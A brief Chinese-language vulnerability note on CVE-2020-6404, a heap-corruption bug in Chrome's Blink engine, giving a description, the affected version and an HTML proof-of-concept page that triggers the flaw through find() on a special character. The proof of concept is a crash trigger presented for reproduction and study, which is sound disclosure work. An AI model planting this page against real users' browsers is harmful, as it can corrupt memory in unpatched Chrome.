(CVE-2020-6404)Google Chrome Blink 缓冲区错误漏洞
一、漏洞简介
在80.0.3987.87之前的Google Chrome中,Blink中的不当实现使远程攻击者有可能通过精心制作的HTML页面利用堆破坏。
二、漏洞影响
Google Chrome 80.0.3987.87
三、复现过程
poc
<!DOCTYPE html>
<head>
<script type="text/javascript">
document.addEventListener("DOMContentLoaded", function(){
find(decodeURIComponent('\uFFFC'));
});
</script>
</head>
<body>
<legend></legend>
</body>
</html>